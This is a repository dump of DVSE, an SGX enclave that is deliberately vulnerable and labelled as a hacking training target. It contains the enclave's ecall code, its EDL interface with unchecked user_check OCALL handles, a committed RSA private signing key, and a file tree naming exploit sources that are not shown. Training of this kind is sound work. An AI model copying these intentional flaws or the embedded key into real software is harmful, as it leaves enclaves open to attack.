├── .gitattributes ├── .gitignore ├── DVSE ├── DVSE.config.xml ├── DVSE.cpp ├── DVSE.edl ├── DVSE.vcxproj ├── DVSE.vcxproj.filters ├── DVSE_private.pem ├── DVSE_t.c ├── DVSE_t.h ├── ReadMe.txt ├── SGXBlob.cpp ├── SGXBlob.h ├── SGXCoupons.cpp ├── SGXCoupons.h ├── SGXEcallEnclaveInterface.cpp ├── SGXEcallEnclaveInterface.h ├── SGXEpg.cpp ├── SGXEpg.h ├── SGXFileReader.cpp ├── SGXFileReader.h ├── SGXFileWriter.cpp ├── SGXFileWriter.h ├── SGXIndependentSealing.cpp ├── SGXIndependentSealing.h ├── SGXLargeFile.cpp ├── SGXLargeFile.h ├── SGXNetworkReader.cpp ├── SGXNetworkReader.h ├── SGXServiceFile.cpp ├── SGXServiceFile.h ├── SGXSslWare.cpp └── SGXSslWare.h ├── README.md ├── SgxOpenSSL ├── docs │ ├── Intel(R) SgxSSL Library User Guide.pdf │ └── third_party.rtf ├── include │ ├── openssl │ │ ├── aes.h │ │ ├── asn1.h │ │ ├── asn1_mac.h │ │ ├── asn1t.h │ │ ├── bio.h │ │ ├── bn.h │ │ ├── buffer.h │ │ ├── cmac.h │ │ ├── cms.h │ │ ├── comp.h │ │ ├── conf.h │ │ ├── conf_api.h │ │ ├── crypto.h │ │ ├── des.h │ │ ├── des_old.h │ │ ├── dh.h │ │ ├── dsa.h │ │ ├── dso.h │ │ ├── dtls1.h │ │ ├── e_os2.h │ │ ├── ebcdic.h │ │ ├── ec.h │ │ ├── ecdh.h │ │ ├── ecdsa.h │ │ ├── engine.h │ │ ├── err.h │ │ ├── evp.h │ │ ├── fips.h │ │ ├── fips_rand.h │ │ ├── hmac.h │ │ ├── krb5_asn.h │ │ ├── kssl.h │ │ ├── lhash.h │ │ ├── md5.h │ │ ├── modes.h │ │ ├── obj_mac.h │ │ ├── objects.h │ │ ├── ocsp.h │ │ ├── opensslconf.h │ │ ├── opensslv.h │ │ ├── ossl_typ.h │ │ ├── pem.h │ │ ├── pem2.h │ │ ├── pkcs12.h │ │ ├── pkcs7.h │ │ ├── pqueue.h │ │ ├── rand.h │ │ ├── rc2.h │ │ ├── ripemd.h │ │ ├── rsa.h │ │ ├── safestack.h │ │ ├── seed.h │ │ ├── sha.h │ │ ├── srtp.h │ │ ├── ssl.h │ │ ├── ssl2.h │ │ ├── ssl23.h │ │ ├── ssl3.h │ │ ├── stack.h │ │ ├── symhacks.h │ │ ├── tls1.h │ │ ├── ts.h │ │ ├── txt_db.h │ │ ├── ui.h │ │ ├── ui_compat.h │ │ ├── whrlpool.h │ │ ├── x509.h │ │ ├── x509_vfy.h │ │ └── x509v3.h │ ├── sgx_tssl.edl │ ├── sgxssl_texception.h │ ├── tSgxSSL_api.h │ ├── windows.h │ └── winsock.h ├── lib │ └── fipsopenssl │ │ └── Win32 │ │ ├── fips_premain.c │ │ ├── fips_premain.c.sha1 │ │ ├── sgx_tfipscanister.lib │ │ └── sgx_tfipscanister.lib.sha1 ├── sample │ ├── Makefile │ ├── test_vrfcert │ │ ├── data │ │ │ ├── invalid_certlist.txt │ │ │ └── valid_certlist.txt │ │ ├── test_vrfcert.cpp │ │ ├── test_vrfcert.vcxproj │ │ └── test_vrfcert.vcxproj.filters │ ├── vrfcert │ │ ├── vrfcert.config.xml │ │ ├── vrfcert.cpp │ │ ├── vrfcert.edl │ │ ├── vrfcert.h │ │ ├── vrfcert.lds │ │ ├── vrfcert.vcxproj │ │ ├── vrfcert.vcxproj.filters │ │ └── vrfcert_private.pem │ └── x509.sln └── util │ ├── hmac_sha1.pl │ └── msincore ├── docs ├── DVSE Walkthrough.docx ├── DVSE Walkthrough.md ├── SGX Enclave Programming - Common Mistakes.pdf └── SGX Enclave Programming - Common Mistakes.pptx ├── reconmtl2017dvse ├── EnclaveTest │ ├── DVSE_u.c │ ├── DVSE_u.h │ ├── EnclaveTest.cpp │ ├── EnclaveTest.vcxproj │ ├── EnclaveTest.vcxproj.filters │ ├── ReadMe.txt │ ├── blob_reuse.cpp │ ├── common_enclave_actions.cpp │ ├── common_enclave_actions.h │ ├── crypto_extraction.cpp │ ├── exfiltrate_data.cpp │ ├── exploits.h │ ├── file_substitution.cpp │ ├── malicious_ocalls.cpp │ ├── stdafx.cpp │ ├── stdafx.h │ ├── targetver.h │ ├── time_substitution.cpp │ └── timing_attack.cpp └── reconmtl2017dvse.sln ├── secureServer └── secureServer │ ├── certs │ ├── domain.crt │ └── domain.key │ ├── media │ ├── 1 │ ├── 2 │ ├── 3 │ ├── 4 │ ├── 6 │ ├── 7 │ ├── blob │ ├── coupons │ ├── epg │ ├── m84_1.mpg │ └── test-mpeg_512kb.mp4 │ ├── secureServer.py │ └── secureServer.pyproj ├── secureUI ├── DVSE_u.c ├── DVSE_u.h ├── EPG.ui ├── GeneratedFiles │ ├── qrc_resources.cpp │ ├── ui_EPG.h │ ├── ui_mainwindow.h │ └── ui_setup.h ├── Prerelease │ ├── moc_epgdialog.cpp │ ├── moc_mainwindow.cpp │ └── moc_setupdialog.cpp ├── Simulation │ ├── moc_epgdialog.cpp │ ├── moc_mainwindow.cpp │ └── moc_setupdialog.cpp ├── encryptedfile.cpp ├── encryptedfile.h ├── epgdialog.cpp ├── epgdialog.h ├── icons │ ├── control_pause.png │ ├── control_play.png │ ├── control_stop.png │ └── folder_page_white.png ├── main.cpp ├── mainwindow.cpp ├── mainwindow.h ├── mainwindow.ui ├── ocalls.cpp ├── resources.qrc ├── setup.ui ├── setupdialog.cpp ├── setupdialog.h ├── sgxware.cpp ├── sgxware.h ├── videogui.pro ├── videogui.pro.user.e3f3817 ├── videogui.vcxproj └── videogui.vcxproj.filters └── whats-new.md /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | [Xx]64/ 19 | [Xx]86/ 20 | [Bb]uild/ 21 | bld/ 22 | [Bb]in/ 23 | [Oo]bj/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | artifacts/ 46 | 47 | *_i.c 48 | *_p.c 49 | *_i.h 50 | *.ilk 51 | *.meta 52 | *.obj 53 | *.pch 54 | *.pdb 55 | *.pgc 56 | *.pgd 57 | *.rsp 58 | *.sbr 59 | *.tlb 60 | *.tli 61 | *.tlh 62 | *.tmp 63 | *.tmp_proj 64 | *.log 65 | *.vspscc 66 | *.vssscc 67 | .builds 68 | *.pidb 69 | *.svclog 70 | *.scc 71 | 72 | # Chutzpah Test files 73 | _Chutzpah* 74 | 75 | # Visual C++ cache files 76 | ipch/ 77 | *.aps 78 | *.ncb 79 | *.opendb 80 | *.opensdf 81 | *.sdf 82 | *.cachefile 83 | *.VC.db 84 | 85 | # Visual Studio profiler 86 | *.psess 87 | *.vsp 88 | *.vspx 89 | *.sap 90 | 91 | # TFS 2012 Local Workspace 92 | $tf/ 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | *.DotSettings.user 101 | 102 | # JustCode is a .NET coding add-in 103 | .JustCode 104 | 105 | # TeamCity is a build add-in 106 | _TeamCity* 107 | 108 | # DotCover is a Code Coverage Tool 109 | *.dotCover 110 | 111 | # NCrunch 112 | _NCrunch_* 113 | .*crunch*.local.xml 114 | nCrunchTemp_* 115 | 116 | # MightyMoose 117 | *.mm.* 118 | AutoTest.Net/ 119 | 120 | # Web workbench (sass) 121 | .sass-cache/ 122 | 123 | # Installshield output folder 124 | [Ee]xpress/ 125 | 126 | # DocProject is a documentation generator add-in 127 | DocProject/buildhelp/ 128 | DocProject/Help/*.HxT 129 | DocProject/Help/*.HxC 130 | DocProject/Help/*.hhc 131 | DocProject/Help/*.hhk 132 | DocProject/Help/*.hhp 133 | DocProject/Help/Html2 134 | DocProject/Help/html 135 | 136 | # Click-Once directory 137 | publish/ 138 | 139 | # Publish Web Output 140 | *.[Pp]ublish.xml 141 | *.azurePubxml 142 | 143 | # TODO: Un-comment the next line if you do not want to checkin 144 | # your web deploy settings because they may include unencrypted 145 | # passwords 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # NuGet Packages 150 | *.nupkg 151 | # The packages folder can be ignored because of Package Restore 152 | **/packages/* 153 | # except build/, which is used as an MSBuild target. 154 | !**/packages/build/ 155 | # Uncomment if necessary however generally it will be regenerated when needed 156 | #!**/packages/repositories.config 157 | # NuGet v3's project.json files produces more ignoreable files 158 | *.nuget.props 159 | *.nuget.targets 160 | 161 | # Microsoft Azure Build Output 162 | csx/ 163 | *.build.csdef 164 | 165 | # Microsoft Azure Emulator 166 | ecf/ 167 | rcf/ 168 | 169 | # Windows Store app package directory 170 | AppPackages/ 171 | BundleArtifacts/ 172 | 173 | # Visual Studio cache files 174 | # files ending in .cache can be ignored 175 | *.[Cc]ache 176 | # but keep track of directories ending in .cache 177 | !*.[Cc]ache/ 178 | 179 | # Others 180 | ClientBin/ 181 | [Ss]tyle[Cc]op.* 182 | ~$* 183 | *~ 184 | *.dbmdl 185 | *.dbproj.schemaview 186 | *.pfx 187 | *.publishsettings 188 | node_modules/ 189 | orleans.codegen.cs 190 | 191 | # RIA/Silverlight projects 192 | Generated_Code/ 193 | 194 | # Backup & report files from converting an old project file 195 | # to a newer Visual Studio version. Backup files are not needed, 196 | # because we have git ;-) 197 | _UpgradeReport_Files/ 198 | Backup*/ 199 | UpgradeLog*.XML 200 | UpgradeLog*.htm 201 | 202 | # SQL Server files 203 | *.mdf 204 | *.ldf 205 | 206 | # Business Intelligence projects 207 | *.rdl.data 208 | *.bim.layout 209 | *.bim_*.settings 210 | 211 | # Microsoft Fakes 212 | FakesAssemblies/ 213 | 214 | # GhostDoc plugin setting file 215 | *.GhostDoc.xml 216 | 217 | # Node.js Tools for Visual Studio 218 | .ntvs_analysis.dat 219 | 220 | # Visual Studio 6 build log 221 | *.plg 222 | 223 | # Visual Studio 6 workspace options file 224 | *.opt 225 | 226 | # Visual Studio LightSwitch build output 227 | **/*.HTMLClient/GeneratedArtifacts 228 | **/*.DesktopClient/GeneratedArtifacts 229 | **/*.DesktopClient/ModelManifest.xml 230 | **/*.Server/GeneratedArtifacts 231 | **/*.Server/ModelManifest.xml 232 | _Pvt_Extensions 233 | 234 | # LightSwitch generated files 235 | GeneratedArtifacts/ 236 | ModelManifest.xml 237 | 238 | # Paket dependency manager 239 | .paket/paket.exe 240 | 241 | # FAKE - F# Make 242 | .fake/ 243 | 244 | secureServer/secureServer/certs/pem.pem 245 | -------------------------------------------------------------------------------- /DVSE/DVSE.config.xml: -------------------------------------------------------------------------------- 1 | 2 | 0 3 | 0 4 | 0x40000 5 | 0x100000 6 | 1 7 | 1 8 | 0 9 | 0 10 | 0xFFFFFFFF 11 | -------------------------------------------------------------------------------- /DVSE/DVSE.cpp: -------------------------------------------------------------------------------- 1 | /************************************************************************************************************ 2 | * This application is a TRAINING TARGET for exercises in HACKING Intel� SGX ENCLAVES. * 3 | * This application made vulnerable DELIBERATELY - its main purpose is to demonstrate, shame and blame * 4 | * common mistakes usually made with SGX enclave programming. * 5 | * ONCE AGAIN, IT CONTAINS MISTAKES. * 6 | * Please DO NOT USE it's source for any healthy development/production activity. * 7 | * It is intended to use for training of hacking SGX enclaves ONLY. * 8 | * It is written ugly(deliberately), designed badly(intentionally) and running very slow. * 9 | * You can freely use this application for training purposes. * 10 | * I'd be glad to hear about your progress. * 11 | * * 12 | * This application requires QT5.8 (which uses LGPL v3 license), Intel SGX SDK and * 13 | * the Intel� Software Guard Extensions SSL (Intel� SGX SSL) to be compiled. * 14 | * This application is written by Michael Atlas (wireshrink@gmail.com) during 2017. * 15 | * Happy hacking. * 16 | *************************************************************************************************************/ 17 | 18 | 19 | #include "DVSE_t.h" 20 | #include "SGXIndependentSealing.h" 21 | #include "sgx_trts.h" 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include "SGXEcallEnclaveInterface.h" 27 | 28 | 29 | 30 | 31 | SGXEcallEnclaveInterface *getIf() 32 | { 33 | return SGXEcallEnclaveInterface::getInstance(); 34 | } 35 | 36 | int ecall_init_enclave(/*[in, string]*/ char *storage_folder, 37 | /*[in, string]*/ char *address, 38 | /*[in]*/ int port) 39 | { 40 | 41 | return getIf()->setConnAddr(address, port) && getIf()->init_enclave(storage_folder) ; 42 | 43 | } 44 | 45 | int ecall_update_epg() 46 | { 47 | return getIf()->refresh_and_save_service_files(); 48 | } 49 | 50 | int ecall_get_epg_page(int number, size_t strsize, void* page) 51 | { 52 | return getIf()->getEPGPage((unsigned char*)page, number); 53 | } 54 | 55 | int ecall_prepare_movie(size_t movie_id) 56 | { 57 | return getIf()->prepare_movie(movie_id); 58 | } 59 | 60 | 61 | 62 | int ecall_get_movie_chunk(size_t chunk_offset, size_t chunk_size, void* chunk) 63 | { 64 | return getIf()->read_movie_chunk(chunk_offset, chunk_size,(unsigned char*) chunk); 65 | } 66 | 67 | 68 | int ecall_try_coupon(char* coupon) 69 | { 70 | return getIf()->applyCoupon(coupon); 71 | } 72 | 73 | int ecall_get_balance( int *balance) 74 | { 75 | *balance = getIf()->getBalance(); 76 | if (getIf()->isBlobInitialized()) 77 | return 1; 78 | return 0; 79 | } 80 | 81 | int ecall_init_secure_channel(unsigned char key[16]) 82 | { 83 | return getIf()->initSecureChannel(key); 84 | } 85 | 86 | int ecall_write_log(size_t logsize, char *logstr) 87 | { 88 | #ifndef _DENUG 89 | 90 | return getIf()->write_log((unsigned char*)logstr, logsize); 91 | #endif 92 | return 0; 93 | } 94 | int ecall_get_movie_file_size(size_t movie_id, size_t * size) 95 | { 96 | *size = getIf()->get_movie_size(movie_id); 97 | return (*size != -1L); 98 | } -------------------------------------------------------------------------------- /DVSE/DVSE.edl: -------------------------------------------------------------------------------- 1 | /************************************************************************************************************ 2 | * This application is a TRAINING TARGET for exercises in HACKING Intel� SGX ENCLAVES. * 3 | * This application made vulnerable DELIBERATELY - its main purpose is to demonstrate, shame and blame * 4 | * common mistakes usually made with SGX enclave programming. * 5 | * ONCE AGAIN, IT CONTAINS MISTAKES. * 6 | * Please DO NOT USE it's source for any healthy development/production activity. * 7 | * It is intended to use for training of hacking SGX enclaves ONLY. * 8 | * It is written ugly(deliberately), designed badly(intentionally) and running very slow. * 9 | * You can freely use this application for training purposes. * 10 | * I'd be glad to hear about your progress. * 11 | * * 12 | * This application requires QT5.8 (which uses LGPL v3 license), Intel SGX SDK and * 13 | * the Intel� Software Guard Extensions SSL (Intel� SGX SSL) to be compiled. * 14 | * This application is written by Michael Atlas (wireshrink@gmail.com) during 2017. * 15 | * Happy hacking. * 16 | *************************************************************************************************************/ 17 | 18 | 19 | /* 20 | enclave inerfaces list: 21 | */ 22 | 23 | 24 | enclave { 25 | 26 | from "sgx_tssl.edl" import *; 27 | 28 | trusted { 29 | /* define ECALLs here. */ 30 | public int ecall_init_enclave([in, string] char *storage_folder, [in, string]char * address, int port); // inits storage folder with default data if nothing exists, stores server data inside 31 | 32 | public int ecall_update_epg (); // download the EPG 33 | public int ecall_get_epg_page(int number, size_t strsize, [out, size=strsize] void* page); // gets a page of EPG 34 | public int ecall_prepare_movie (size_t movie_id); // prepares the movie for playing if allowed, updates balance 35 | public int ecall_get_movie_chunk(size_t chunk_offset, size_t chunk_size, [out, size=chunk_size] void* chunk); // gets a chunk of the previously prepared movie encrypted with secure channel key 36 | public int ecall_get_movie_file_size(size_t movie_id, [out]size_t* size ); // gets a size of decrypted movie 37 | 38 | public int ecall_try_coupon([in, string] char *coupon); // tryes a coupon and updates a balance 39 | public int ecall_get_balance([out] int *balance); // gets a balance to show 40 | public int ecall_write_log(size_t logsize, [in, size = logsize] char* logstr); // writes sealed log 41 | 42 | }; 43 | 44 | untrusted { 45 | /* define OCALLs here. */ 46 | 47 | void* ocall_file_open ([in,string] char* file_name, [in,string] char* format); 48 | 49 | int ocall_file_close([user_check]void* handle); //size_t is used foir passing a file pointer 50 | 51 | int ocall_file_read([user_check]void* handle, size_t offset, size_t datasize, [out, size = datasize]unsigned char *data); 52 | 53 | int ocall_file_write([user_check]void *handle, size_t datasize, [in, size = datasize]unsigned char *data); 54 | 55 | size_t ocall_file_size ([user_check] void* file_handle); 56 | 57 | void* ocall_socket_connect ([in, string]char *url, unsigned int port ); 58 | void ocall_socket_shutdown ([user_check] void* socket); 59 | int ocall_get_the_current_time([out] unsigned char thetime[16]); 60 | }; 61 | }; 62 | -------------------------------------------------------------------------------- /DVSE/DVSE.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {81f572cd-2e30-4ca1-a9b9-20f07fcade8a} 6 | 7 | 8 | {8bc60fe4-f4c0-4cde-ab5b-ea251862976d} 9 | cpp;c;edl;def; 10 | 11 | 12 | {17407aa8-6996-4219-9d6e-0916f0d1cb72} 13 | h;hpp; 14 | 15 | 16 | {a5771fc8-cd57-4faf-bf87-6ab4fae63dde} 17 | rc;xml;pem; 18 | 19 | 20 | 21 | 22 | Generated Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | Source Files 44 | 45 | 46 | Source Files 47 | 48 | 49 | Source Files 50 | 51 | 52 | Source Files 53 | 54 | 55 | Source Files 56 | 57 | 58 | Source Files 59 | 60 | 61 | 62 | 63 | Generated Files 64 | 65 | 66 | Header Files 67 | 68 | 69 | Header Files 70 | 71 | 72 | Header Files 73 | 74 | 75 | Header Files 76 | 77 | 78 | Header Files 79 | 80 | 81 | Header Files 82 | 83 | 84 | Header Files 85 | 86 | 87 | Header Files 88 | 89 | 90 | Header Files 91 | 92 | 93 | Header Files 94 | 95 | 96 | Header Files 97 | 98 | 99 | 100 | 101 | Resource Files 102 | 103 | 104 | 105 | 106 | Resource Files 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | Source Files 115 | 116 | 117 | -------------------------------------------------------------------------------- /DVSE/DVSE_private.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | 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 39 | -----END RSA PRIVATE KEY----- -------------------------------------------------------------------------------- /DVSE/DVSE_t.h: -------------------------------------------------------------------------------- 1 | #ifndef DVSE_T_H__ 2 | #define DVSE_T_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | #include "sgx_edger8r.h" /* for sgx_ocall etc. */ 8 | 9 | #include "sgxssl_texception.h" 10 | 11 | #define SGX_CAST(type, item) ((type)(item)) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | 18 | int ecall_init_enclave(char* storage_folder, char* address, int port); 19 | int ecall_update_epg(); 20 | int ecall_get_epg_page(int number, size_t strsize, void* page); 21 | int ecall_prepare_movie(size_t movie_id); 22 | int ecall_get_movie_chunk(size_t chunk_offset, size_t chunk_size, void* chunk); 23 | int ecall_get_movie_file_size(size_t movie_id, size_t* size); 24 | int ecall_try_coupon(char* coupon); 25 | int ecall_get_balance(int* balance); 26 | int ecall_write_log(size_t logsize, char* logstr); 27 | 28 | sgx_status_t SGX_CDECL ocall_file_open(void** retval, char* file_name, char* format); 29 | sgx_status_t SGX_CDECL ocall_file_close(int* retval, void* handle); 30 | sgx_status_t SGX_CDECL ocall_file_read(int* retval, void* handle, size_t offset, size_t datasize, unsigned char* data); 31 | sgx_status_t SGX_CDECL ocall_file_write(int* retval, void* handle, size_t datasize, unsigned char* data); 32 | sgx_status_t SGX_CDECL ocall_file_size(size_t* retval, void* file_handle); 33 | sgx_status_t SGX_CDECL ocall_socket_connect(void** retval, char* url, unsigned int port); 34 | sgx_status_t SGX_CDECL ocall_socket_shutdown(void* socket); 35 | sgx_status_t SGX_CDECL ocall_get_the_current_time(int* retval, unsigned char thetime[16]); 36 | sgx_status_t SGX_CDECL u_sgxssl_ftime64(void* timeptr, uint32_t timeb64Len); 37 | sgx_status_t SGX_CDECL u_sgxssl_closesocket(int* retval, void* s, int* wsaError); 38 | sgx_status_t SGX_CDECL u_sgxssl_recv(int* retval, void* s, void* buf, int len, int flag, int* wsaError); 39 | sgx_status_t SGX_CDECL u_sgxssl_send(int* retval, void* s, const char* buf, int len, int flags, int* wsaError); 40 | sgx_status_t SGX_CDECL u_sgxssl_shutdown(int* retval, void* s, int how, int* wsaError); 41 | sgx_status_t SGX_CDECL sgx_oc_cpuidex(int cpuinfo[4], int leaf, int subleaf); 42 | sgx_status_t SGX_CDECL sgx_thread_wait_untrusted_event_ocall(int* retval, const void* self); 43 | sgx_status_t SGX_CDECL sgx_thread_set_untrusted_event_ocall(int* retval, const void* waiter); 44 | sgx_status_t SGX_CDECL sgx_thread_setwait_untrusted_events_ocall(int* retval, const void* waiter, const void* self); 45 | sgx_status_t SGX_CDECL sgx_thread_set_multiple_untrusted_events_ocall(int* retval, const void** waiters, size_t total); 46 | 47 | #ifdef __cplusplus 48 | } 49 | #endif /* __cplusplus */ 50 | 51 | #endif 52 | -------------------------------------------------------------------------------- /DVSE/ReadMe.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/ReadMe.txt -------------------------------------------------------------------------------- /DVSE/SGXBlob.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXBlob.cpp -------------------------------------------------------------------------------- /DVSE/SGXBlob.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXBlob.h -------------------------------------------------------------------------------- /DVSE/SGXCoupons.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXCoupons.cpp -------------------------------------------------------------------------------- /DVSE/SGXCoupons.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXCoupons.h -------------------------------------------------------------------------------- 